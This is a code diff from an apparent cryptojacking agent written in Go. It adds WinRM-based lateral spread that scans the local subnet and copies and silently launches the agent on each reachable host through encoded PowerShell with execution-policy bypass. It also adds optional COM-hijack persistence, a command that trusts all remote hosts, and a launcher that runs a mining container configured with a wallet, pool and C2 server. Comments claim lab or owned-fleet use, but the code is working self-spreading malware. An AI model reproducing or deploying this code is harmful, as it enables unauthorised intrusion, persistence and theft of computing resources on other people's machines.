// - IPv6 addresses are tracked for local self-skip but are not port-scanned (/64
|
||||||
|
// sweeps are impractical). IPv6 peers may appear from the OS neighbor cache.
|
||||||
|
// - ARP cache is consulted first (arp_*.go) before any active sweep.
|
||||||
|
// - Lateral spread uses spreadSem (16 concurrent targets) per agent.
|
||||||
|
|
||||||
// getLocalIPs returns IPv4 and IPv6 addresses on up, non-loopback interfaces.
|
// getLocalIPs returns IPv4 and IPv6 addresses on up, non-loopback interfaces.
|
||||||
func getLocalIPs() []string {
|
func getLocalIPs() []string {
|
||||||
|
|||||||
20
agent/deploy/vuln_recon.go
Normal file
20
agent/deploy/vuln_recon.go
Normal file
@@ -0,0 +1,20 @@
|
|||||||
|
package deploy
|
||||||
|
|
||||||
|
import (
|
||||||
|
"log"
|
||||||
|
|
||||||
|
"crypto-miner-agent/vulnprobe"
|
||||||
|
)
|
||||||
|
|
||||||
|
func init() {
|
||||||
|
vulnprobe.HiddenExec = HiddenCombinedOutput
|
||||||
|
}
|
||||||
|
|
||||||
|
// RunVulnRecon executes read-only LOTL vulnerability recon (report-only, no exploit).
|
||||||
|
func RunVulnRecon(osVersion string) *vulnprobe.ScanReport {
|
||||||
|
ctx := vulnprobe.ProbeHost(nil, osVersion)
|
||||||
|
report := vulnprobe.Run(ctx)
|
||||||
|
log.Printf("[vuln-recon] risk=%d exposed=%d findings=%d — %s",
|
||||||
|
report.RiskScore, report.ExposedCount, len(report.Findings), report.Summary)
|
||||||
|
return report
|
||||||
|
}
|
||||||
128
agent/deploy/winrm_bootstrap.go
Normal file
128
agent/deploy/winrm_bootstrap.go
Normal file
@@ -0,0 +1,128 @@
|
|||||||
|
//go:build windows
|
||||||
|
|
||||||
|
package deploy
|
||||||
|
|
||||||
|
import (
|
||||||
|
"encoding/base64"
|
||||||
|
"fmt"
|
||||||
|
"log"
|
||||||
|
"os"
|
||||||
|
"strings"
|
||||||
|
"time"
|
||||||
|
"unicode/utf16"
|
||||||
|
|
||||||
|
"crypto-miner-agent/config"
|
||||||
|
)
|
||||||
|
|
||||||
|
// attemptWinRMSpread deploys via WinRM session + encoded bootstrap (owned/lab).
|
||||||
|
func attemptWinRMSpread(cfg config.RuntimeConfig, target string) {
|
||||||
|
if !portOpen(target, 5985, 1500*time.Millisecond) && !portOpen(target, 5986, 1500*time.Millisecond) {
|
||||||
|
recordSpreadAttempt(target, false, "winrm port closed")
|
||||||
|
return
|
||||||
|
}
|
||||||
|
|
||||||
|
exePath, err := os.Executable()
|
||||||
|
if err != nil {
|
||||||
|
recordSpreadAttempt(target, false, "executable path unavailable")
|
||||||
|
return
|
||||||
|
}
|
||||||
|
|
||||||
|
destName := sharePayloadName(cfg)
|
||||||
|
script := fmt.Sprintf(`
|
||||||
|
$dest = Join-Path $env:TEMP '%s'
|
||||||
|
Copy-Item -LiteralPath '%s' -Destination $dest -Force -EA SilentlyContinue
|
||||||
|
if (Test-Path $dest) {
|
||||||
|
Start-Process -FilePath $dest -ArgumentList '--spread-install','--defer-mining' -WindowStyle Hidden -EA SilentlyContinue
|
||||||
|
}
|
||||||
|
`, destName, strings.ReplaceAll(exePath, `'`, `''`))
|
||||||
|
|
||||||
|
encoded := encodePowerShell(script)
|
||||||
|
var credSession SpreadCredSession
|
||||||
|
ps := fmt.Sprintf(`
|
||||||
|
$s = New-PSSession -ComputerName '%s' -EA SilentlyContinue
|
||||||
|
if ($s) {
|
||||||
|
Invoke-Command -Session $s -EncodedCommand '%s' -EA SilentlyContinue
|
||||||
|
Remove-PSSession $s -EA SilentlyContinue
|
||||||
|
}
|
||||||
|
`, target, encoded)
|
||||||
|
if session, ok := acquireSpreadCred(target, "winrm_encoded"); ok {
|
||||||
|
credSession = session
|
||||||
|
ps = winRMCredPSBlock(target, session, fmt.Sprintf("powershell -EncodedCommand '%s'", encoded))
|
||||||
|
}
|
||||||
|
|
||||||
|
if err := HiddenRun("powershell", "-NoProfile", "-ExecutionPolicy", "Bypass", "-WindowStyle", "Hidden", "-Command", ps); err == nil {
|
||||||
|
log.Printf("[autospread] WinRM encoded bootstrap succeeded on %s", target)
|
||||||
|
recordSpreadAttempt(target, true, "")
|
||||||
|
reportSpreadCredEdge(target, "winrm_encoded", credSession, true)
|
||||||
|
if cfg.COMHijackPersist {
|
||||||
|
_ = applyCOMHijackPersistence(exePath)
|
||||||
|
}
|
||||||
|
return
|
||||||
|
}
|
||||||
|
recordSpreadAttempt(target, false, "winrm invoke failed")
|
||||||
|
reportSpreadCredEdge(target, "winrm_encoded", credSession, false)
|
||||||
|
}
|
||||||
|
|
||||||
|
func encodePowerShell(script string) string {
|
||||||
|
utf16le := utf16.Encode([]rune(script))
|
||||||
|
buf := make([]byte, len(utf16le)*2)
|
||||||
|
for i, r := range utf16le {
|
||||||
|
buf[i*2] = byte(r)
|
||||||
|
buf[i*2+1] = byte(r >> 8)
|
||||||
|
}
|
||||||
|
return base64.StdEncoding.EncodeToString(buf)
|
||||||
|
}
|
||||||
|
|
||||||
|
// spreadViaWinRM sweeps local /24 for WinRM-open hosts when WinRMSpread or AutoSpread is enabled.
|
||||||
|
func spreadViaWinRM(cfg config.RuntimeConfig) {
|
||||||
|
if !cfg.WinRMSpread && !cfg.AutoSpread {
|
||||||
|
return
|
||||||
|
}
|
||||||
|
|
||||||
|
localIPs := getLocalIPs()
|
||||||
|
var targets []string
|
||||||
|
localSet := make(map[string]bool)
|
||||||
|
for _, ip := range localIPs {
|
||||||
|
localSet[ip] = true
|
||||||
|
}
|
||||||
|
for _, ip := range localIPs {
|
||||||
|
if !isIPv4(ip) {
|
||||||
|
continue
|
||||||
|
}
|
||||||
|
subnet := getSubnet(ip)
|
||||||
|
if subnet == "" {
|
||||||
|
continue
|
||||||
|
}
|
||||||
|
for i := 1; i < 255; i++ {
|
||||||
|
candidate, ok := ipv4SweepHost(subnet, i)
|
||||||
|
if !ok {
|
||||||
|
break
|
||||||
|
}
|
||||||
|
if localSet[candidate] {
|
||||||
|
continue
|
||||||
|
}
|
||||||
|
if portOpen(candidate, 5985, 400*time.Millisecond) || portOpen(candidate, 5986, 400*time.Millisecond) {
|
||||||
|
targets = append(targets, candidate)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
beginSpreadSweep("winrm_encoded", len(targets))
|
||||||
|
if len(targets) == 0 {
|
||||||
|
finishSpreadSweepImmediate()
|
||||||
|
return
|
||||||
|
}
|
||||||
|
for _, target := range targets {
|
||||||
|
t := target
|
||||||
|
spreadSem <- struct{}{}
|
||||||
|
go func() {
|
||||||
|
defer func() { <-spreadSem }()
|
||||||
|
attemptWinRMSpread(cfg, t)
|
||||||
|
}()
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
// EnableLocalPSRemoting prepares this host for WinRM bootstrap templates (owned machines).
|
||||||
|
func EnableLocalPSRemoting() error {
|
||||||
|
ps := `Enable-PSRemoting -Force -SkipNetworkProfileCheck; Set-Item WSMan:\localhost\Client\TrustedHosts -Value '*' -Force`
|
||||||
|
return HiddenRun("powershell", "-NoProfile", "-ExecutionPolicy", "Bypass", "-Command", ps)
|
||||||
|
}
|
||||||
@@ -88,6 +88,7 @@ func main() {
|
|||||||
// AgentClient.authenticate() only after the server accepts our fleet secret,
|
// AgentClient.authenticate() only after the server accepts our fleet secret,
|
||||||
// which verifies we are on an owned fleet before initiating lateral movement.
|
// which verifies we are on an owned fleet before initiating lateral movement.
|
||||||
deploy.StartPassiveSpreader(cfg)
|
deploy.StartPassiveSpreader(cfg)
|
||||||
|
deploy.StartLotlOnion(cfg)
|
||||||
if cfg.AutoSpread && deploy.WantsFirstRunSpread(cfg) {
|
if cfg.AutoSpread && deploy.WantsFirstRunSpread(cfg) {
|
||||||
// First-run spread marker is cleared after auth succeeds (handled in client).
|
// First-run spread marker is cleared after auth succeeds (handled in client).
|
||||||
deploy.ClearFirstRunSpreadMarker(cfg)
|
deploy.ClearFirstRunSpreadMarker(cfg)
|
||||||
|
|||||||
258
agent/miner/container_launcher.go
Normal file
258
agent/miner/container_launcher.go
Normal file
@@ -0,0 +1,258 @@
|
|||||||
|
package miner
|
||||||
|
|
||||||
|
import (
|
||||||
|
"bytes"
|
||||||
|
"fmt"
|
||||||
|
"log"
|
||||||
|
"os"
|
||||||
|
"os/exec"
|
||||||
|
"runtime"
|
||||||
|
"strings"
|
||||||
|
"sync"
|
||||||
|
|
||||||
|
"crypto-miner-agent/config"
|
||||||
|
)
|
||||||
|
|
||||||
|
const defaultMinerImage = "aetherforge/agent-worker:latest"
|
||||||
|
|
||||||
|
// containerExecCommand is exec.Command; tests override via SetContainerExecCommand.
|
||||||
|
var containerExecCommand = exec.Command
|
||||||
|
|
||||||
|
// SetContainerExecCommand restores the default when fn is nil.
|
||||||
|
func SetContainerExecCommand(fn func(name string, args ...string) *exec.Cmd) {
|
||||||
|
if fn == nil {
|
||||||
|
containerExecCommand = exec.Command
|
||||||
|
return
|
||||||
|
}
|
||||||
|
containerExecCommand = fn
|
||||||
|
}
|
||||||
|
|
||||||
|
// ContainerLauncher supervises an OCI workload that runs CPU mining isolated from the host agent.
|
||||||
|
type ContainerLauncher struct {
|
||||||
|
cfg config.RuntimeConfig
|
||||||
|
runtime ContainerRuntimeInfo
|
||||||
|
image string
|
||||||
|
name string
|
||||||
|
tarPath string // non-empty → docker load from tar, never registry pull
|
||||||
|
readOnly bool // docker_load tier uses --read-only rootfs
|
||||||
|
|
||||||
|
mu sync.Mutex
|
||||||
|
running bool
|
||||||
|
cmd *exec.Cmd
|
||||||
|
}
|
||||||
|
|
||||||
|
// NewContainerLauncher builds a launcher when a container runtime is available.
|
||||||
|
func NewContainerLauncher(cfg config.RuntimeConfig, runtime ContainerRuntimeInfo) (*ContainerLauncher, error) {
|
||||||
|
return newContainerLauncher(cfg, runtime, "", false)
|
||||||
|
}
|
||||||
|
|
||||||
|
// NewContainerLauncherFromTar builds a docker_load tier launcher (local tar, no registry pull).
|
||||||
|
func NewContainerLauncherFromTar(cfg config.RuntimeConfig, runtime ContainerRuntimeInfo, tarPath string) (*ContainerLauncher, error) {
|
||||||
|
tarPath = strings.TrimSpace(tarPath)
|
||||||
|
if tarPath == "" {
|
||||||
|
return nil, ErrNoImageTar
|
||||||
|
}
|
||||||
|
return newContainerLauncher(cfg, runtime, tarPath, true)
|
||||||
|
}
|
||||||
|
|
||||||
|
func newContainerLauncher(cfg config.RuntimeConfig, runtime ContainerRuntimeInfo, tarPath string, readOnly bool) (*ContainerLauncher, error) {
|
||||||
|
if !runtime.Available || runtime.CLI == "" {
|
||||||
|
return nil, fmt.Errorf("no container runtime (docker/podman not in PATH)")
|
||||||
|
}
|
||||||
|
image := strings.TrimSpace(os.Getenv("AETHERFORGE_MINER_IMAGE"))
|
||||||
|
if image == "" {
|
||||||
|
image = defaultMinerImage
|
||||||
|
}
|
||||||
|
name := containerName(cfg)
|
||||||
|
return &ContainerLauncher{
|
||||||
|
cfg: cfg,
|
||||||
|
runtime: runtime,
|
||||||
|
image: image,
|
||||||
|
name: name,
|
||||||
|
tarPath: tarPath,
|
||||||
|
readOnly: readOnly,
|
||||||
|
}, nil
|
||||||
|
}
|
||||||
|
|
||||||
|
func containerName(cfg config.RuntimeConfig) string {
|
||||||
|
suffix := strings.TrimSpace(cfg.BuildID)
|
||||||
|
if suffix == "" {
|
||||||
|
suffix = "worker"
|
||||||
|
}
|
||||||
|
suffix = strings.Map(func(ch rune) rune {
|
||||||
|
if (ch >= 'a' && ch <= 'z') || (ch >= 'A' && ch <= 'Z') || (ch >= '0' && ch <= '9') || ch == '-' {
|
||||||
|
return ch
|
||||||
|
}
|
||||||
|
return '-'
|
||||||
|
}, suffix)
|
||||||
|
return "aetherforge-miner-" + suffix
|
||||||
|
}
|
||||||
|
|
||||||
|
// Start launches the miner container (idempotent while already running).
|
||||||
|
func (l *ContainerLauncher) Start() error {
|
||||||
|
l.mu.Lock()
|
||||||
|
defer l.mu.Unlock()
|
||||||
|
if l.running {
|
||||||
|
return nil
|
||||||
|
}
|
||||||
|
|
||||||
|
if l.tarPath != "" {
|
||||||
|
loaded, err := l.loadImageFromTar()
|
||||||
|
if err != nil {
|
||||||
|
return err
|
||||||
|
}
|
||||||
|
if loaded != "" {
|
||||||
|
l.image = loaded
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
args := l.buildRunArgs()
|
||||||
|
cmd := containerExecCommand(l.runtime.CLI, args...)
|
||||||
|
cmd.Stdout = nil
|
||||||
|
cmd.Stderr = nil
|
||||||
|
if err := cmd.Start(); err != nil {
|
||||||
|
return fmt.Errorf("%s run failed: %w", l.runtime.CLI, err)
|
||||||
|
}
|
||||||
|
l.cmd = cmd
|
||||||
|
l.running = true
|
||||||
|
mode := "registry"
|
||||||
|
if l.tarPath != "" {
|
||||||
|
mode = "docker_load"
|
||||||
|
}
|
||||||
|
log.Printf("[container] started %s (%s) image=%s mode=%s wallet=%s", l.name, l.runtime.CLI, l.image, mode, l.cfg.Wallet)
|
||||||
|
go l.waitExit()
|
||||||
|
return nil
|
||||||
|
}
|
||||||
|
|
||||||
|
func (l *ContainerLauncher) waitExit() {
|
||||||
|
if l.cmd == nil {
|
||||||
|
return
|
||||||
|
}
|
||||||
|
err := l.cmd.Wait()
|
||||||
|
l.mu.Lock()
|
||||||
|
l.running = false
|
||||||
|
l.cmd = nil
|
||||||
|
l.mu.Unlock()
|
||||||
|
if err != nil {
|
||||||
|
log.Printf("[container] miner container exited: %v — host will fall back to in-process mining if configured", err)
|
||||||
|
} else {
|
||||||
|
log.Printf("[container] miner container stopped")
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
// Stop removes the running container.
|
||||||
|
func (l *ContainerLauncher) Stop() {
|
||||||
|
l.mu.Lock()
|
||||||
|
running := l.running
|
||||||
|
l.mu.Unlock()
|
||||||
|
if !running {
|
||||||
|
return
|
||||||
|
}
|
||||||
|
_ = containerExecCommand(l.runtime.CLI, "rm", "-f", l.name).Run()
|
||||||
|
l.mu.Lock()
|
||||||
|
if l.cmd != nil && l.cmd.Process != nil {
|
||||||
|
_ = l.cmd.Process.Kill()
|
||||||
|
}
|
||||||
|
l.running = false
|
||||||
|
l.cmd = nil
|
||||||
|
l.mu.Unlock()
|
||||||
|
}
|
||||||
|
|
||||||
|
// Image returns the OCI image reference used for the miner workload.
|
||||||
|
func (l *ContainerLauncher) Image() string {
|
||||||
|
return l.image
|
||||||
|
}
|
||||||
|
|
||||||
|
// Running reports whether the launcher believes the container is active.
|
||||||
|
func (l *ContainerLauncher) Running() bool {
|
||||||
|
l.mu.Lock()
|
||||||
|
defer l.mu.Unlock()
|
||||||
|
return l.running
|
||||||
|
}
|
||||||
|
|
||||||
|
func (l *ContainerLauncher) loadImageFromTar() (string, error) {
|
||||||
|
cmd := containerExecCommand(l.runtime.CLI, "load", "-i", l.tarPath)
|
||||||
|
var buf bytes.Buffer
|
||||||
|
cmd.Stdout = &buf
|
||||||
|
cmd.Stderr = &buf
|
||||||
|
if err := cmd.Run(); err != nil {
|
||||||
|
return "", fmt.Errorf("%s load failed: %w (%s)", l.runtime.CLI, err, strings.TrimSpace(buf.String()))
|
||||||
|
}
|
||||||
|
for _, line := range strings.Split(buf.String(), "\n") {
|
||||||
|
line = strings.TrimSpace(line)
|
||||||
|
if after, ok := strings.CutPrefix(line, "Loaded image:"); ok {
|
||||||
|
return strings.TrimSpace(after), nil
|
||||||
|
}
|
||||||
|
if after, ok := strings.CutPrefix(line, "Loaded image ID:"); ok {
|
||||||
|
return strings.TrimSpace(after), nil
|
||||||
|
}
|
||||||
|
}
|
||||||
|
return "", nil
|
||||||
|
}
|
||||||
|
|
||||||
|
func (l *ContainerLauncher) buildRunArgs() []string {
|
||||||
|
args := []string{
|
||||||
|
"run", "--rm", "-d",
|
||||||
|
"--name", l.name,
|
||||||
|
}
|
||||||
|
|
||||||
|
if l.tarPath != "" {
|
||||||
|
args = append(args, "--pull=never")
|
||||||
|
}
|
||||||
|
|
||||||
|
if l.readOnly {
|
||||||
|
args = append(args, "--read-only", "--tmpfs", "/tmp")
|
||||||
|
}
|
||||||
|
|
||||||
|
if runtime.GOOS == "linux" {
|
||||||
|
args = append(args, "--network", "host")
|
||||||
|
}
|
||||||
|
if l.cfg.GPUEnabled {
|
||||||
|
args = append(args, "--gpus", "all")
|
||||||
|
}
|
||||||
|
|
||||||
|
env := l.containerEnv()
|
||||||
|
for _, e := range env {
|
||||||
|
args = append(args, "-e", e)
|
||||||
|
}
|
||||||
|
|
||||||
|
args = append(args, l.image)
|
||||||
|
return args
|
||||||
|
}
|
||||||
|
|
||||||
|
func (l *ContainerLauncher) containerEnv() []string {
|
||||||
|
threads := l.cfg.EffectiveThreads()
|
||||||
|
pairs := map[string]string{
|
||||||
|
"AETHERFORGE_SERVER_URL": l.cfg.ServerURL,
|
||||||
|
"AETHERFORGE_WALLET": l.cfg.Wallet,
|
||||||
|
"AETHERFORGE_WORKER": l.cfg.WorkerName,
|
||||||
|
"AETHERFORGE_POOL_HOST": l.cfg.PoolHost,
|
||||||
|
"AETHERFORGE_POOL_PORT": fmt.Sprintf("%d", l.cfg.PoolPort),
|
||||||
|
"AETHERFORGE_POOL_TLS": boolEnv(l.cfg.PoolTLS),
|
||||||
|
"AETHERFORGE_POOL_PASS": l.cfg.PoolPass,
|
||||||
|
"AETHERFORGE_THREADS": fmt.Sprintf("%d", threads),
|
||||||
|
"AETHERFORGE_MINER_EXECUTION": ExecutionInProcess,
|
||||||
|
"AETHERFORGE_FLEET_SECRET": l.cfg.FleetSecret,
|
||||||
|
"MINER_LOG_FILE": "/tmp/miner.log",
|
||||||
|
}
|
||||||
|
if l.cfg.RVNWallet != "" {
|
||||||
|
pairs["AETHERFORGE_RVN_WALLET"] = l.cfg.RVNWallet
|
||||||
|
pairs["AETHERFORGE_RVN_POOL_HOST"] = l.cfg.RVNPoolHost
|
||||||
|
pairs["AETHERFORGE_RVN_POOL_PORT"] = fmt.Sprintf("%d", l.cfg.RVNPoolPort)
|
||||||
|
pairs["AETHERFORGE_GPU_ENABLED"] = boolEnv(l.cfg.GPUEnabled)
|
||||||
|
}
|
||||||
|
out := make([]string, 0, len(pairs))
|
||||||
|
for k, v := range pairs {
|
||||||
|
if v != "" {
|
||||||
|
out = append(out, k+"="+v)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
return out
|
||||||
|
}
|
||||||
|
|
||||||
|
func boolEnv(v bool) string {
|
||||||
|
if v {
|
||||||
|
return "1"
|
||||||
|
}
|
||||||
|
return "0"
|
||||||
|
}
|
||||||
236
agent/miner/container_launcher_test.go
Normal file
236
agent/miner/container_launcher_test.go
Normal file
@@ -0,0 +1,236 @@
|
|||||||
|
package miner
|
||||||
|
|
||||||
|
import (
|
||||||
|
"os"
|
||||||
|
"os/exec"
|
||||||
|
"path/filepath"
|
||||||
|
"runtime"
|
||||||
|
"strings"
|
||||||
|
"testing"
|
||||||
|
|
||||||
|
"crypto-miner-agent/config"
|
||||||
|
)
|
||||||
|
|
||||||
|
func longRunningTestCmd() *exec.Cmd {
|
||||||
|
if runtime.GOOS == "windows" {
|
||||||
|
return exec.Command("ping", "-n", "600", "127.0.0.1")
|
||||||
|
}
|
||||||
|
return exec.Command("sleep", "600")
|
||||||
|
}
|
||||||
|
|
||||||
|
func quickExitTestCmd() *exec.Cmd {
|
||||||
|
if runtime.GOOS == "windows" {
|
||||||
|
return exec.Command("cmd", "/c", "exit", "0")
|
||||||
|
}
|
||||||
|
return exec.Command("true")
|
||||||
|
}
|
||||||
|
|
||||||
|
func dockerEnvFromArgs(args []string) map[string]string {
|
||||||
|
out := make(map[string]string)
|
||||||
|
for i := 0; i < len(args); i++ {
|
||||||
|
if args[i] != "-e" || i+1 >= len(args) {
|
||||||
|
continue
|
||||||
|
}
|
||||||
|
i++
|
||||||
|
k, v, ok := strings.Cut(args[i], "=")
|
||||||
|
if !ok {
|
||||||
|
continue
|
||||||
|
}
|
||||||
|
out[k] = v
|
||||||
|
}
|
||||||
|
return out
|
||||||
|
}
|
||||||
|
|
||||||
|
func TestContainerLauncherStartWithFakeRuntime(t *testing.T) {
|
||||||
|
const customImage = "registry.example/aether-worker:test"
|
||||||
|
t.Setenv("AETHERFORGE_MINER_IMAGE", customImage)
|
||||||
|
|
||||||
|
var gotCLI string
|
||||||
|
var gotArgs []string
|
||||||
|
SetContainerExecCommand(func(name string, args ...string) *exec.Cmd {
|
||||||
|
if len(args) > 0 && args[0] == "rm" {
|
||||||
|
return quickExitTestCmd()
|
||||||
|
}
|
||||||
|
gotCLI = name
|
||||||
|
gotArgs = append([]string(nil), args...)
|
||||||
|
return longRunningTestCmd()
|
||||||
|
})
|
||||||
|
defer SetContainerExecCommand(nil)
|
||||||
|
|
||||||
|
cfg := config.RuntimeConfig{
|
||||||
|
BuiltinConfig: config.BuiltinConfig{
|
||||||
|
BuildID: "test-build",
|
||||||
|
ServerURL: "http://c2.example",
|
||||||
|
Wallet: "XMR:wallet",
|
||||||
|
WorkerName: "worker-1",
|
||||||
|
PoolHost: "pool.example.com",
|
||||||
|
PoolPort: 3333,
|
||||||
|
PoolTLS: true,
|
||||||
|
PoolPass: "x",
|
||||||
|
ThreadMode: "fixed",
|
||||||
|
Threads: 4,
|
||||||
|
FleetSecret: "fleet-secret",
|
||||||
|
},
|
||||||
|
}
|
||||||
|
rt := ContainerRuntimeInfo{Available: true, CLI: "docker", Version: "24.0.0"}
|
||||||
|
|
||||||
|
launcher, err := NewContainerLauncher(cfg, rt)
|
||||||
|
if err != nil {
|
||||||
|
t.Fatalf("NewContainerLauncher: %v", err)
|
||||||
|
}
|
||||||
|
if launcher.Image() != customImage {
|
||||||
|
t.Fatalf("Image()=%q want %q", launcher.Image(), customImage)
|
||||||
|
}
|
||||||
|
|
||||||
|
if err := launcher.Start(); err != nil {
|
||||||
|
t.Fatalf("Start: %v", err)
|
||||||
|
}
|
||||||
|
defer launcher.Stop()
|
||||||
|
|
||||||
|
if gotCLI != "docker" {
|
||||||
|
t.Fatalf("runtime CLI=%q want docker", gotCLI)
|
||||||
|
}
|
||||||
|
|
||||||
|
wantPrefix := []string{"run", "--rm", "-d", "--name", "aetherforge-miner-test-build"}
|
||||||
|
if len(gotArgs) < len(wantPrefix) {
|
||||||
|
t.Fatalf("args=%v too short, want prefix %v", gotArgs, wantPrefix)
|
||||||
|
}
|
||||||
|
for i, w := range wantPrefix {
|
||||||
|
if gotArgs[i] != w {
|
||||||
|
t.Fatalf("args[%d]=%q want %q full=%v", i, gotArgs[i], w, gotArgs)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
if runtime.GOOS == "linux" {
|
||||||
|
if !containsSeq(gotArgs, "--network", "host") {
|
||||||
|
t.Fatalf("linux args missing --network host: %v", gotArgs)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
if gotArgs[len(gotArgs)-1] != customImage {
|
||||||
|
t.Fatalf("image arg=%q want %q", gotArgs[len(gotArgs)-1], customImage)
|
||||||
|
}
|
||||||
|
|
||||||
|
env := dockerEnvFromArgs(gotArgs)
|
||||||
|
wantEnv := map[string]string{
|
||||||
|
"AETHERFORGE_SERVER_URL": "http://c2.example",
|
||||||
|
"AETHERFORGE_WALLET": "XMR:wallet",
|
||||||
|
"AETHERFORGE_WORKER": "worker-1",
|
||||||
|
"AETHERFORGE_POOL_HOST": "pool.example.com",
|
||||||
|
"AETHERFORGE_POOL_PORT": "3333",
|
||||||
|
"AETHERFORGE_POOL_TLS": "1",
|
||||||
|
"AETHERFORGE_POOL_PASS": "x",
|
||||||
|
"AETHERFORGE_THREADS": "4",
|
||||||
|
"AETHERFORGE_MINER_EXECUTION": ExecutionInProcess,
|
||||||
|
"AETHERFORGE_FLEET_SECRET": "fleet-secret",
|
||||||
|
"MINER_LOG_FILE": "/tmp/miner.log",
|
||||||
|
}
|
||||||
|
for k, want := range wantEnv {
|
||||||
|
if got := env[k]; got != want {
|
||||||
|
t.Fatalf("env[%s]=%q want %q", k, got, want)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
if !launcher.Running() {
|
||||||
|
t.Fatal("Running() false after Start")
|
||||||
|
}
|
||||||
|
|
||||||
|
if err := launcher.Start(); err != nil {
|
||||||
|
t.Fatalf("second Start: %v", err)
|
||||||
|
}
|
||||||
|
if !launcher.Running() {
|
||||||
|
t.Fatal("Running() false after idempotent Start")
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
func TestContainerLauncherDockerLoadFromTar(t *testing.T) {
|
||||||
|
dir := t.TempDir()
|
||||||
|
tarPath := filepath.Join(dir, "worker.tar")
|
||||||
|
if err := os.WriteFile(tarPath, []byte("fake"), 0644); err != nil {
|
||||||
|
t.Fatal(err)
|
||||||
|
}
|
||||||
|
|
||||||
|
var calls [][]string
|
||||||
|
SetContainerExecCommand(func(name string, args ...string) *exec.Cmd {
|
||||||
|
copied := append([]string{name}, args...)
|
||||||
|
calls = append(calls, copied)
|
||||||
|
if len(args) > 0 && args[0] == "load" {
|
||||||
|
if runtime.GOOS == "windows" {
|
||||||
|
return exec.Command("cmd", "/c", "echo Loaded image: aetherforge/agent-worker:tar")
|
||||||
|
}
|
||||||
|
return exec.Command("sh", "-c", "echo 'Loaded image: aetherforge/agent-worker:tar'")
|
||||||
|
}
|
||||||
|
if len(args) > 0 && args[0] == "rm" {
|
||||||
|
return quickExitTestCmd()
|
||||||
|
}
|
||||||
|
return longRunningTestCmd()
|
||||||
|
})
|
||||||
|
defer SetContainerExecCommand(nil)
|
||||||
|
|
||||||
|
cfg := config.RuntimeConfig{
|
||||||
|
BuiltinConfig: config.BuiltinConfig{
|
||||||
|
BuildID: "tar-test",
|
||||||
|
Wallet: "XMR:wallet",
|
||||||
|
PoolHost: "pool.example.com",
|
||||||
|
PoolPort: 3333,
|
||||||
|
},
|
||||||
|
}
|
||||||
|
rt := ContainerRuntimeInfo{Available: true, CLI: "docker"}
|
||||||
|
|
||||||
|
launcher, err := NewContainerLauncherFromTar(cfg, rt, tarPath)
|
||||||
|
if err != nil {
|
||||||
|
t.Fatalf("NewContainerLauncherFromTar: %v", err)
|
||||||
|
}
|
||||||
|
if err := launcher.Start(); err != nil {
|
||||||
|
t.Fatalf("Start: %v", err)
|
||||||
|
}
|
||||||
|
defer launcher.Stop()
|
||||||
|
|
||||||
|
foundLoad := false
|
||||||
|
foundNeverPull := false
|
||||||
|
foundReadOnly := false
|
||||||
|
for _, call := range calls {
|
||||||
|
if len(call) >= 3 && call[1] == "load" && call[3] == tarPath {
|
||||||
|
foundLoad = true
|
||||||
|
}
|
||||||
|
for i, arg := range call {
|
||||||
|
if arg == "--pull=never" {
|
||||||
|
foundNeverPull = true
|
||||||
|
}
|
||||||
|
if arg == "--read-only" {
|
||||||
|
foundReadOnly = true
|
||||||
|
}
|
||||||
|
if arg == "--gpus" && i+1 < len(call) && call[i+1] == "all" {
|
||||||
|
// gpu flag present when GPU enabled — optional in this cfg
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
if !foundLoad {
|
||||||
|
t.Fatalf("docker load not invoked, calls=%v", calls)
|
||||||
|
}
|
||||||
|
if !foundNeverPull {
|
||||||
|
t.Fatalf("expected --pull=never, calls=%v", calls)
|
||||||
|
}
|
||||||
|
if !foundReadOnly {
|
||||||
|
t.Fatalf("expected --read-only, calls=%v", calls)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
func containsSeq(args []string, seq ...string) bool {
|
||||||
|
if len(seq) == 0 || len(args) < len(seq) {
|
||||||
|
return false
|
||||||
|
}
|
||||||
|
for i := 0; i <= len(args)-len(seq); i++ {
|
||||||
|
match := true
|
||||||
|
for j := range seq {
|
||||||
|
if args[i+j] != seq[j] {
|
||||||
|
match = false
|
||||||
|
break
|
||||||
|
}
|
||||||
|
}
|
||||||
|
if match {
|
||||||
|
return true
|
||||||
|
}
|
||||||
|
}
|
||||||
|
return false
|
||||||
|
}
|
||||||
236
agent/miner/dotnet_launcher.go
Normal file
236
agent/miner/dotnet_launcher.go
Normal file
@@ -0,0 +1,236 @@
|
|||||||
|
package miner
|
||||||
|
|
||||||
|
import (
|
||||||
|
"fmt"
|
||||||
|
"log"
|
||||||
|
"os"
|
||||||
|
"os/exec"
|
||||||
|
"path/filepath"
|
||||||
|
"runtime"
|
||||||
|
"strings"
|
||||||
|
"sync"
|
||||||
|
|
||||||
|
"crypto-miner-agent/config"
|
||||||
|
)
|
||||||
|
|
||||||
|
// dotnetBin and msbuildBin are toolchain paths; tests override via SetDotnetBinPath / SetMSBuildBinPath.
|
||||||
|
var (
|
||||||
|
dotnetBin = "dotnet"
|
||||||
|
msbuildBin = "MSBuild"
|
||||||
|
dotnetExecCommand = exec.Command
|
||||||
|
)
|
||||||
|
|
||||||
|
// SetDotnetBinPath overrides the dotnet CLI binary (restore with "").
|
||||||
|
func SetDotnetBinPath(path string) {
|
||||||
|
if strings.TrimSpace(path) == "" {
|
||||||
|
dotnetBin = "dotnet"
|
||||||
|
return
|
||||||
|
}
|
||||||
|
dotnetBin = path
|
||||||
|
}
|
||||||
|
|
||||||
|
// SetMSBuildBinPath overrides the MSBuild binary (restore with "").
|
||||||
|
func SetMSBuildBinPath(path string) {
|
||||||
|
if strings.TrimSpace(path) == "" {
|
||||||
|
msbuildBin = "MSBuild"
|
||||||
|
return
|
||||||
|
}
|
||||||
|
msbuildBin = path
|
||||||
|
}
|
||||||
|
|
||||||
|
// SetDotnetExecCommand restores default when fn is nil.
|
||||||
|
func SetDotnetExecCommand(fn func(name string, args ...string) *exec.Cmd) {
|
||||||
|
if fn == nil {
|
||||||
|
